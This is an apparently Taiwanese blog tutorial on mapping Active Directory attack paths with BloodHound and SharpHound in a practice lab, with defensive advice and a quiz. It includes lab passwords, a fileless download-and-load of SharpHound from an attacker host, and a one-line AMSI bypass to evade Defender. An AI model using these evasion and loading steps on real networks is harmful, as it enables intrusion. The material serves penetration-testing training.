iT邦幫忙

2025 iThome 鐵人賽

DAY 5
0
Security

資安這條路:AD 攻防實戰演練系列 第 5 篇

AD 攻防實戰演練 Day 5:BloodHound - 視覺化 AD 攻擊路徑

  • 分享至 

  • xImage
  •  

今天我們要學習 Active Directory 滲透測試的神兵利器:BloodHound。個工具可以讓我們看見所有事物的關聯,BloodHound 能幫我們看見整個網域的權限關係,找出通往 Domain Admin 的最短路徑。這是每個紅隊成員必須精通的工具!

今日學習目標

在完成今天的實作後,你將能夠:

  1. 理解 BloodHound 的運作原理
  2. 使用 Python 和 .NET 收集器收集網域資料
  3. 分析複雜的 AD 權限關係
  4. 撰寫 Cypher 查詢找出攻擊路徑
  5. 識別隱藏的權限提升機會

前置準備

在開始之前,確保已經完成:

  • 已取得的憑證:
    • samwell.tarly:Heartsbane
    • brandon.stark:iseedeadpeople
    • jon.snow:iknownothing
  • 環境網路連通性正常
  • /etc/hosts 檔案已設定

安裝 BloodHound 相關工具

# 更新 apt 工具
sudo apt update

image

# 安裝 BloodHound 和 Neo4j
sudo apt install bloodhound neo4j -y

image

image

python3 -m venv ~/bloodhound-env
source ~/bloodhound-env/bin/activate
# 安裝 Python 收集器
pip3 install bloodhound
# 或從 GitHub 安裝最新版
git clone https://github.com/fox-it/BloodHound.py
cd BloodHound.py
python3 setup.py install

# 下載 SharpHound(.NET 收集器)
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe

##理解 BloodHound 架構

BloodHound 組件說明

image

1. 資料收集層(Ingestors)

  • SharpHound:Windows 環境下的主要收集器
  • AzureHound:Azure AD 環境的收集器
  • BloodHound.py:跨平台 Python 收集器
  • 從 Active Directory/Azure AD 收集資料

2. 資料庫層(Neo4j)

  • 使用 Neo4j 圖形資料庫儲存節點和關係
  • 支援 Cypher 查詢語言進行複雜查詢
  • 提供高效的圖形運算和路徑分析能力

3. 視覺化層(BloodHound GUI)

  • 提供直觀的攻擊路徑視覺化介面
  • 內建查詢建構器和預設查詢
  • 支援報告生成功能

資料流向從收集層的 JSON 格式資料上傳到 Neo4j 資料庫,再通過 Cypher 查詢語言與 GUI 互動,最終呈現視覺化的攻擊路徑分析結果。

組件 功能 運作環境 優缺點
BloodHound.py Python 資料收集器 Linux/Mac ✅ 跨平台 ❌ 功能較少
SharpHound .NET 資料收集器 Windows ✅ 功能完整 ❌ 需在目標上執行
Neo4j 圖形資料庫 伺服器端 儲存關係資料
BloodHound GUI 視覺化介面 客戶端 分析和查詢

資料收集方法對比

收集方法 Python 支援 .NET 支援 所需權限 隱密性
Default ✅ ✅ Domain User 高
All ✅ ✅ Domain User 低
DCOnly ✅ ✅ Domain User 高
Session ❌ ✅ Local Admin 低
LoggedOn ✅ ✅ Local Admin 中
GPO ❌ ✅ Domain User 高

Python 收集器 - 從 Linux 收集

收集單一網域資料

讓我們先從 north.sevenkingdoms.local 開始:

image

image


# 寫入 /etc/hosts 
echo "192.168.139.11    winterfell.north.sevenkingdoms.local winterfell" | sudo tee -a /etc/hosts

# 使用 brandon.stark 憑證收集 north 網域
bloodhound-python --zip -c All \
    -d north.sevenkingdoms.local \
    -u brandon.stark \
    -p iseedeadpeople \
    -dc winterfell.north.sevenkingdoms.local \
    -ns 192.168.139.11

參數說明:

  • --zip:將輸出打包成 ZIP 檔案
  • -c All:收集所有類型的資料
  • -d:目標網域
  • -u:使用者名稱
  • -p:密碼
  • -dc:Domain Controller IP 或主機名稱

預期輸出:

INFO: Getting TGT for user
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 2 computers
INFO: Connecting to GC LDAP server: winterfell.north.sevenkingdoms.local
INFO: Connecting to LDAP server: winterfell.north.sevenkingdoms.local
INFO: Found 17 users
INFO: Found 51 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: castelblack.north.sevenkingdoms.local
INFO: Querying computer: winterfell.north.sevenkingdoms.local
INFO: Done in 00M 01S
INFO: Compressing output into 20250919093122_bloodhound.zip

跨網域收集 - 信任關係的力量

# 新增 all domain controllers
echo "192.168.139.10    kingslanding.sevenkingdoms.local kingslanding" | sudo tee -a /etc/hosts
echo "192.168.139.11    winterfell.north.sevenkingdoms.local winterfell" | sudo tee -a /etc/hosts
echo "192.168.139.12    meereen.essos.local meereen" | sudo tee -a /etc/hosts

image

image

現在收集其他網域的資料:

# 收集 sevenkingdoms.local(父網域)
bloodhound-python --zip -c All \
    -d sevenkingdoms.local \
    -u brandon.stark@north.sevenkingdoms.local \
    -p iseedeadpeople \
    -dc kingslanding.sevenkingdoms.local \
    -ns 192.168.139.10

image

# 收集 essos.local(外部信任)
bloodhound.py --zip -c All \
    -d essos.local \
    -u brandon.stark@north.sevenkingdoms.local \
    -p iseedeadpeople \
    -dc meereen.essos.local

image

重要提示:注意使用者名稱格式變成 brandon.stark@north.sevenkingdoms.local,這是跨網域認證的關鍵!

Python 收集器的限制

Python 收集器不支援以下功能:

  • GPO(群組原則物件)相關資訊
  • 本機管理員群組成員
  • RDP 使用者
  • DCOM 使用者
  • PSRemote 使用者

這些資訊需要使用 .NET 收集器!

.NET 收集器 (SharpHound) - 從 Windows 收集

建立 RDP 連線

image

# 使用 xfreerdp 連線到 CASTELBLACK
sudo apt install freerdp3-x11


xfreerdp3 /v:192.168.139.22 /u:jon.snow /p:iknownothing /d:north /cert:ignore

image

# 或使用 rdesktop
rdesktop -u jon.snow -p iknownothing -d north 192.168.139.22

執行 SharpHound 收集

在 Windows 上開啟 PowerShell:

image

Invoke-WebRequest -Uri "https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe" -OutFile "SharpHound.exe"

image

# 收集 north.sevenkingdoms.local
.\sharphound.exe -d north.sevenkingdoms.local -c all `
    --zipfilename bh_north_sevenkingdoms.zip

image

# 收集 sevenkingdoms.local
.\sharphound.exe -d sevenkingdoms.local -c all `
    --zipfilename bh_sevenkingdoms.zip

image

# 收集 essos.local
.\sharphound.exe -d essos.local -c all `
    --zipfilename bh_essos.zip

記憶體執行技巧

如果想要完全在記憶體中執行,避免落地:

# 下載並載入到記憶體
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.139.136/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)

# 執行 SharpHound
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())

注意:如果 Windows Defender 啟用,需要先繞過 AMSI:

# AMSI 繞過
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

啟動 BloodHound 分析

啟動 Neo4j 資料庫

# 啟動 neo4j
sudo neo4j console

# 首次登入時,訪問 http://localhost:7474
# 預設帳密:neo4j/neo4j
# 會要求更改密碼

image

image

啟動 BloodHound GUI

# 在另一個終端機啟動 BloodHound
bloodhound

# 登入資訊
# URL: bolt://localhost:7687
# Username: neo4j
# Password: <你設定的密碼>

image

記得要改密碼

cat /etc/bhapi/bhapi.json
sudo vim /etc/bhapi/bhapi.json

image

image

image

也要改密碼 admin/admin

image

匯入收集的資料

http://127.0.0.1:8080/ui/administration/file-ingest

image

image

  1. 點擊右上角的 "Upload Data"
  2. 選擇所有收集的 ZIP 檔案
  3. 等待資料處理完成

如果你遇到匯入失敗

# 停止 BloodHound CE
sudo pkill -f bhapi
sudo pkill -f bloodhound

# 停止 Neo4j
sudo neo4j stop
# 或
sudo pkill -f neo4j

# 下載 BloodHound Legacy
cd ~/Downloads
wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.2.0/BloodHound-linux-x64.zip
unzip -o BloodHound-4.2.0-linux-x64.zip
cd BloodHound-linux-x64
chmod +x BloodHound
./BloodHound --no-sandbox --disable-gpu

image

sudo neo4j start

image

右邊可以上傳檔案
image

我最終用舊版才能使用

視覺化分析 - Cypher 查詢

基礎查詢

顯示所有網域和電腦:

MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) 
RETURN p

image

顯示所有使用者:

MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) 
RETURN p

image

網域、群組、使用者的整體關係:

MATCH q = (d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) 
RETURN q

image

進階查詢 - 尋找攻擊路徑

查看使用者 ACL 權限(排除系統帳號):

MATCH p=(u:User)-[r1]->(n) 
WHERE r1.isacl=true 
  AND NOT toLower(u.name) CONTAINS 'vagrant'
  AND NOT toLower(u.name) CONTAINS 'healthmailbox'
RETURN p

image

尋找到 Domain Admin 的最短路徑:

MATCH (n:User {name:"BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL"}),
      (m:Group {name:"DOMAIN ADMINS@NORTH.SEVENKINGDOMS.LOCAL"}),
      p=shortestPath((n)-[*1..]->(m))
RETURN p

image

實用查詢集合

找出所有本地管理員:

MATCH p=(u:User)-[:AdminTo]->(c:Computer) 
RETURN p

image

找出可以 RDP 的使用者:

MATCH p=(u:User)-[:CanRDP]->(c:Computer) 
RETURN p

找出可以執行 DCSync 的使用者:

MATCH p=(:User)-[:DCSync|AllExtendedRights|GenericAll]->(:Domain) 
RETURN p

image

找出具有危險權限的使用者:

MATCH p=(u:User)-[r:Owns|WriteDacl|GenericAll|WriteOwner|ExecuteDCOM|GenericWrite|AllowedToDelegate|ForceChangePassword]->(n:Computer) 
RETURN p

image

防禦者視角 - 使用 BloodHound 加強環境

清理不必要的權限

# 移除不必要的本地管理員
Remove-LocalGroupMember -Group "Administrators" `
    -Member "NORTH\jon.snow"

# 移除危險的 ACL
Remove-ADPermission -Identity "CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local" `
    -User "NORTH\jon.snow" -AccessRights GenericAll

監控 SharpHound 活動

監控以下行為:

  • 大量 LDAP 查詢(Event ID 1644)
  • 異常的 SAM 遠端呼叫
  • NetSessionEnum API 呼叫
  • 短時間內查詢多個 SPN

BloodHound 分析報告 - AD 環境安全評估

根據 BloodHound 收集的資料,以下是對目標 Active Directory 環境的完整分析報告。

一、環境概況

網域架構:

  • 主網域:SEVENKINGDOMS.LOCAL (功能層級 2016)
  • 子網域:NORTH.SEVENKINGDOMS.LOCAL (功能層級 2016)
  • 外部信任網域:ESSOS.LOCAL (功能層級 2016)
  • 節點總數:314 個(使用者 49 個、電腦及容器 264 個)

Domain Admin 分布:

  • ESSOS.LOCAL:3 個 (DAENERYS.TARGARYEN、DROGON、ADMINISTRATOR)
  • SEVENKINGDOMS.LOCAL:3 個 (CERSEI.LANNISTER、ROBERT.BARATHEON、ADMINISTRATOR)
  • NORTH.SEVENKINGDOMS.LOCAL:2 個 (EDDARD.STARK、ADMINISTRATOR)

二、高風險發現

1. DCSync 攻擊向量

嚴重性:極高

發現 10 個使用者擁有 DCSync 權限,可直接複製網域控制站的密碼雜湊:

  • 跨網域 DCSync:ADMINISTRATOR@SEVENKINGDOMS.LOCAL 可對子網域執行 DCSync
  • 這表示攻擊者一旦取得這些帳號,可立即獲得整個網域的控制權

2. Kerberoasting 攻擊面

嚴重性:高

識別出 8 個設定 SPN 的帳號可被 Kerberoasting 攻擊:

  • SQL_SVC@ESSOS.LOCAL - SQL 服務帳號通常使用弱密碼
  • JON.SNOW@NORTH.SEVENKINGDOMS.LOCAL - 一般使用者帳號設定 SPN 極不尋常
  • SANSA.STARK@NORTH.SEVENKINGDOMS.LOCAL - HTTP 服務可能暴露敏感資訊

建議立即檢查這些帳號的密碼強度。

3. ASREPRoasting 弱點

嚴重性:中

發現 2 個帳號未要求 Kerberos 預先驗證:

  • MISSANDEI@ESSOS.LOCAL
  • BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL

攻擊者無需任何憑證即可請求這些帳號的加密票證進行離線破解。

三、權限提升路徑分析

關鍵發現:Brandon Stark 攻擊鏈

  • 起點:BRANDON.STARK@NORTH.SEVENKINGDOMS.LOCAL (ASREPRoastable)
  • 終點:Domain Admin
  • 路徑長度:6 步
  • 風險評估:該使用者為 ASREPRoastable,一旦密碼被破解,攻擊者僅需 6 步即可提升至 Domain Admin

危險 ACL 配置

GenericAll 權限濫用:

  • STANNIS.BARATHEON 對 KINGSLANDING.SEVENKINGDOMS.LOCAL 擁有完全控制權
  • LORD.VARYS 對 AdminSDHolder 容器擁有 GenericAll(影響所有特權群組)
  • MISSANDEI 和 KHAL.DROGO 形成權限鏈,可能導致橫向移動

特殊權限:

  • JON.SNOW 擁有 AllowedToDelegate 權限,可執行委派攻擊
  • 多個使用者擁有 ReadLAPSPassword 權限,可讀取本機管理員密碼

四、安全建議

立即行動項目

  1. 密碼政策強化

    • 立即重設所有 Kerberoastable 帳號密碼(使用 25 字元以上隨機密碼)
    • 為 ASREPRoastable 帳號啟用 Kerberos 預先驗證
  2. 權限最小化

    • 移除不必要的 DCSync 權限
    • 檢視並清理 GenericAll、GenericWrite 等危險權限
    • 限制 AdminSDHolder 的修改權限
  3. 服務帳號管理

    • 將 SQL_SVC 轉換為群組受管理服務帳號(gMSA)
    • 移除一般使用者帳號的 SPN 設定

中期改善措施

  1. 實施分層管理模型

    • 建立管理層級分離(Tier 0/1/2)
    • 禁止跨層級的權限授予
  2. 監控與稽核

    • 部署 DCSync 偵測機制
    • 監控 Kerberos 票證異常請求
    • 定期執行 BloodHound 掃描
  3. 信任關係檢視

    • 評估 ESSOS.LOCAL 外部信任的必要性
    • 實施選擇性驗證(Selective Authentication)

五、攻擊模擬建議

基於分析結果,建議進行以下攻擊模擬以驗證風險:

  1. ASREPRoast 攻擊:針對 Brandon Stark 進行密碼破解
  2. Kerberoasting:測試 SQL_SVC 密碼強度
  3. ACL 濫用:驗證 Lord Varys 到 Domain Admin 的提權路徑
  4. 委派攻擊:利用 Jon Snow 的委派權限進行橫向移動

六、結論

目前的 AD 環境存在多個高風險配置,特別是過度的 DCSync 權限和易受攻擊的服務帳號。建議立即執行上述安全加固措施,並建立持續的 AD 安全監控機制。

最關鍵的發現是 Brandon Stark 的攻擊路徑,該帳號同時具備 ASREPRoastable 弱點且距離 Domain Admin 僅 6 步,應列為最高優先處理項目。

實用 Cypher 查詢速查

-- 快速查詢
-- 所有 Domain Admins
MATCH (g:Group) WHERE g.name =~ ".*DOMAIN ADMINS.*" RETURN g

-- 最短攻擊路徑
MATCH p=shortestPath((u:User {name:"<USER>"})-[*1..]->(g:Group {name:"DOMAIN ADMINS@<DOMAIN>"})) RETURN p

-- 所有具有 DCSync 權限的主體
MATCH p=(n)-[:DCSync|GetChanges|GetChangesAll]->(:Domain) RETURN p

-- 找出所有電腦的本地管理員
MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, COLLECT(c.name)

-- 跨網域攻擊路徑
MATCH p=(u:User)-[*1..]->(g:Group) WHERE u.domain<>g.domain RETURN p

課後思考

  1. 為什麼 BloodHound 比傳統掃描工具更強大?

    • 提示:關係分析、攻擊鏈、視覺化
  2. 如何防止 BloodHound 收集?

    • 提示:LDAP 查詢限制、蜜罐帳號、行為監控
  3. BloodHound 資料的時效性問題?

    • 提示:Session 資料、動態群組成員、密碼變更

測驗題目

Q1. BloodHound 使用什麼類型的資料庫來儲存 AD 關係?

A. MySQL 關聯式資料庫
B. MongoDB 文件資料庫
C. Neo4j 圖形資料庫
D. PostgreSQL 關聯式資料庫

答案:C
解析:BloodHound 使用 Neo4j 圖形資料庫,因為它最適合儲存和查詢複雜的關係資料。圖形資料庫能夠高效地處理節點(使用者、電腦、群組)之間的關係(成員、權限、信任)。

Q2. SharpHound 相比 BloodHound.py 的主要優勢是什麼?

A. 執行速度更快
B. 支援 GPO 和本地群組資訊收集
C. 可以在 Linux 上執行
D. 不需要網域憑證

答案:B
解析:SharpHound(.NET 收集器)支援完整的收集方法,包括 GPO、本地管理員群組、Session 等資訊,而 Python 收集器不支援這些功能。這是因為某些 Windows API 只能從 Windows 系統呼叫。

Q3. 下列哪個 Cypher 查詢可以找出所有 Kerberoastable 的使用者?

A. MATCH (u:User) WHERE u.enabled=true RETURN u
B. MATCH (u:User) WHERE u.hasspn=true RETURN u
C. MATCH (u:User) WHERE u.admincount=1 RETURN u
D. MATCH (u:User) WHERE u.passwordnotreqd=true RETURN u

答案:B
解析:hasspn=true 屬性表示使用者帳號設定了 Service Principal Name (SPN),這是執行 Kerberoasting 的必要條件。其他選項分別表示:啟用的帳號、管理員帳號、不需要密碼的帳號。

Q4. 在 BloodHound 中,哪種邊(Edge)關係表示可以重設密碼?

A. CanRDP
B. ForceChangePassword
C. WriteDacl
D. GenericAll

答案:B
解析:ForceChangePassword 明確表示有權限強制變更目標的密碼。雖然 GenericAll 也包含此權限(因為是完全控制),但 ForceChangePassword 是最直接對應的邊關係。

Q5. 執行 bloodhound.py -c All 時,哪項資訊無法收集?

A. 網域使用者和群組
B. 網域信任關係
C. 電腦物件
D. 本地管理員群組成員

答案:D
解析:Python 收集器的限制之一是無法收集本地管理員群組成員資訊,這需要查詢每台電腦的本地 SAM 資料庫,必須使用 SharpHound 在 Windows 上執行才能取得。


延伸閱讀


上一篇
AD 攻防實戰演練 Day 4: Kerberoasting 實戰 - 服務帳號密碼獵取
下一篇
AD 攻防實戰演練 Day 6:LLMNR 投毒與 NTLM Relay 實戰
系列文
資安這條路:AD 攻防實戰演練 共 30 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言